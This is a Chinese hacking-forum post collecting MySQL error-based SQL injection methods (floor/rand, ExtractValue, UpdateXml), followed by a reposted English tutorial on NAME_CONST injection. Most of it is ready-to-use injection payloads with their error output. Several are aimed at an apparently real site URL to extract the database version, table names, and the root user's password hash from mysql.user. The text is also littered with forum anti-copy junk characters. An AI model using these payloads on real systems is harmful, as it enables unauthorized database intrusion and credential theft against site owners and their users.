找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3460|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:
  ~4 G5 U4 N4 H$ Q  b- s. n首先进行正常查询:

mysql> select * from article where id = 1;
& |8 o7 j( V+ N$ m6 G$ r6 Y& z+—-+——-+———+3 V6 I7 G! c' B+ z* X9 Y
| id | title | content |
" `& ~6 F7 d6 Q: F2 g  i+—-+——-+———+. C/ T* ]$ T/ [" f! }
|  1 | test  | do it   |9 T7 A3 H7 ~. ^3 ^, v4 q, Z7 f- Y
+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);5 M3 v! g  o  V2 L
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
0 G) A( w# ?2 u9 ?* y' D5 }例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);7 q1 B, q* _9 l; h/ t/ U; Y
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
0 k. P  b' j( ~+ N7 H3 K5 f9 V* jERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
5 \. U, R8 m: L# q- ^测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
4 _! ^' B* ?6 }7 v8 ~ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

0 X5 [& X) z! N, m* ?6 @3 U; J
( R7 c) |& b- x; i7 P3 r7 p# I

再收集:


* r# O; X7 |6 u( N! P, j. Mhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
+ ?( e8 v% Z  A
  C4 y; u/ K2 ?9 H( Q5 q6 @Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
/ B& j5 r/ V9 u8 s( h# y! F9 c" `; h. d" R$ H( u! L
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
: r$ i- p/ s( [; t% g0 K8 \  T& v" u
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
7 w: W% h# g7 n: L: u  O6 `' U4 R8 L- a5 Y$ b4 D
MYSQL高版本报错注入技巧-利用NAME_CONST注入! S9 d( l5 T; c- X$ J7 q
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. - @! v- H3 i5 ]( N
7 n# p, L# I/ g$ ^" e

  r; A$ ~6 E1 L: g+ M相关信息* Y# `! u2 I- R2 M" i7 G
  C. G- G% \; z( l! E# l! z
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
# T  m4 B3 N$ m8 \* G' T) x" [9 o2 `" ~# P) k2 a
Code:8 l- S* |5 B. X9 A# A  R
NAME_CONST(DATA, VALUE)
  l# c2 e  ^- T/ z3 c
. j4 F5 B0 L$ v+ T3 H/ [* DReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.! ]" j; l8 U. G2 H+ h9 w1 [
+ s6 O0 X3 Y" p" S
SELECT NAME_CONST('TEST', 1)! G4 @: s; Q+ [9 f( v: l9 F; h/ y

: T% A# k4 ~9 u$ c  e5 Z5 B  l# ^" |& ^8 G$ T
7 K0 X. N7 U5 C, g$ N
|---------------|- O3 a5 [5 I0 {" M0 v" Q
|     TEST      |
0 k; v6 X3 V0 j0 I|               |
: C  Z+ h# b/ A|---------------|
5 w8 F! D9 Q/ y+ C* o+ M$ A9 i|       1       |, T% v9 U- L1 ?
|               |
) g% q/ Q0 g/ f|---------------|
( L; e- m1 i8 V& X

; p, b' m) A: E5 Z9 q; N0 z
7 c8 h$ U" D$ ^8 l
% Z% W+ J( Y) A; U7 }& u9 p+ M7 \' C. m# K( S+ |, s4 `' b
http://dev.mysql.com/doc/refman/5.0/en/m...name-const, K" d' c3 J- G3 _  m
Intro to MySQL Variables3 H% V& V7 a& b9 n0 W

5 t  ]8 @# S: e6 m# ~1 k% JOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
, A+ d1 K  I( J- g
* g# T7 |$ P9 mCode:
! i7 Z3 t, k: R4 P" d+ g' Ehttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
9 r/ h. ]% u" O( Z% b1 y) y
+ w# C* [. `# T

" N) L# k3 P# G& U2 |! g
" y( T  b0 _$ D; t
9 v7 g4 ~5 h/ r+ S& f, c

+ i) H) ?8 L$ X5 wCode:4 H* r5 A' m. G& i& ]& G5 n2 y- T* p
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--* u" f5 w+ w) a+ x* @! L! ~' b+ C( M; b
1 ^4 i  D7 z4 W

8 U4 R3 g  I1 a1 W3 f. BVAR = Your MySQL variable.) L8 w6 {' p8 z6 f9 C

# P$ A4 N4 F( `6 @+ j5 gMySQL 5.1.3 Server System Variables" u" r# m  J3 k

7 {  I( W$ A3 F! MLet's try it out on my site..: q$ t  Y; ~; ?2 Z

# C* N/ i1 Q6 |Code:
1 M6 e8 f+ [. K+ X. ?7 }# |( Hhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--5 O* E" Z3 k# a6 |
, f  f* W* [; Y7 N+ U! K. l
Erroruplicate column name '5.0.27-community-nt'5 V& y6 k' C7 I) {
; y" ^" P9 t( S: S+ h! }9 ~' E: [

  f5 b  M* Q# p3 K5 B- O  U
. b# G; |  G" n  }. V
/ Z) ^) Q" M5 _+ x. o
' ^2 h" a' f9 l5 b$ o( e
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
9 n  ^  C3 K5 K9 e/ k" J3 Z( K. q' X$ ]' @1 d
Data Extraction; j. x: ~. M+ Z* n1 P2 U9 A" A
2 J% ^1 _( j  D5 I+ A
Code:
1 r9 _5 I3 @: K; Y9 c+ K+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
) g% Q4 I; ~$ ^) C$ C% I
+ P, L. Z1 Q; g& ^

8 h$ ]; M/ G% S% C1 Y/ HWe should get a duplicate column 1 error...
- y2 }4 ^3 P. j
. M$ e( O% Q8 z7 ~  f1 {' }" wCode:5 c- Q4 D: j* K% J
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--9 c) t/ O. z( a6 L

3 s! Z- f- A0 f6 P  F1 V- ^+ WErroruplicate column name '10 y0 Q3 C" W2 Q4 }; `$ x1 D* k
: e  r' \; v' @: d7 K; I- z
: k" T5 _# w; ?5 C% c7 S/ v

+ F: g% e$ p$ l) t6 F
" u! n5 ?% R+ }6 x0 K. V9 Y' v

  a& ^* A/ |, w4 k
6 t6 e0 O; J8 J7 eNow let's get the tables out this bitch..
4 H5 B1 j; P3 T  X# r9 W
  _8 K% Y+ ~% P. Y  u: PCode:
, }: d# t$ {7 b8 ~+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
' \) `. }2 a: m/ c( P) c1 F* u
$ _' c% E% }) x! B* F
$ t/ J3 d. l! l! |) N1 Z
Let's see if it works here, if it does, we can go on and finish the job.+ |- Z: i0 i' Q  n7 c3 s% T* B

1 H" o+ ?- F. e7 f  D% }. X1 l9 QCode:
! K8 h: X* U4 ~http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
% u+ T/ v4 R& T1 |2 U1 s
2 t7 E* ^1 r3 u
3 R- A2 i( W' i# _  m& `2 oErroruplicate column name 'com_admanage2 ]9 A) C0 D7 W0 h" I. J
* I2 g+ S) H( q# I
/ s* s. n$ b( j6 x+ s
0 w! a7 y2 e' f8 v* r, H* d7 U# N

% G' n/ B# a2 F. b; Y
. H( {" L  i7 Y7 A: Z  R+ _

2 i( W" e6 i( E3 z# a4 kNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
. V$ d2 U/ b9 a, h( g
5 F# G8 t6 F; a8 O( pLet's get the columns out of the user table..* G+ G2 ~0 \& {
# C. F: u0 U! _/ D
Code:
! x% n% B  H  U; {5 u( N6 b$ ^+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--, u2 p' N( {8 }' }7 V. J
5 t  S# H4 b/ x0 x: p- g

2 J3 w6 v, X, T( Q. mSo mine looks like this, and I get the duplicate column name 'Host'.2 G: p9 G7 m% T; k9 {$ `5 k2 z
8 X" Q) Z9 a9 x
Code:; p7 x2 `: v: C
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
2 X9 K) K9 ]: `( c% I+ @" g9 b" X& s% d4 i4 c+ y
Erroruplicate column name 'Host'
0 P$ ^( A! b; A' |
6 r8 r4 p% @' F: u6 }5 ^

5 O/ l0 H( p* D1 f# ~3 Z* ?  N# H/ c/ a) ?
( T  w6 F7 i2 U8 d

% }, |8 g/ T% X8 B  c0 l2 u' v/ S5 m$ U- \- ?+ m# p. ?
Woot, time to finish this bitch off.
) f1 `; a: Q; f+ `
/ u1 o$ C. U" T6 ECode:# B& q* I  C8 [1 \
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--! Z5 U- B2 e" c0 @9 O+ G& }
+ F& t5 q  ?7 N3 g

5 r0 O7 _$ v( W; s. tSo mine looks like this...* P4 t5 O3 F: Q  I* E
3 v8 X9 t7 p' y! D, x
Code:9 L2 d) `( }  a6 `# r+ {# c9 C3 E
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
( s8 e3 C9 G; B5 K' V# G
3 B: h& X- C: P- l9 ]; q7 C- @2 iErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
1 T, X+ |; l7 u3 \
* U( H4 \8 v5 r7 [4 b5 x. I

9 U) d7 r9 S# h% Y6 m 2 B" _) m- S( ?  w* X& X6 B
# u0 z# L$ H0 i0 x. ]
4 f( Z* |5 q0 I4 d1 g
: b/ N3 a! y' W* {$ i. P
And there we have it, thanks for reading.

5 O! v2 U2 f  w1 F# z! ]
4 t" Y, N& }5 J0 g9 y- w; @0 q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表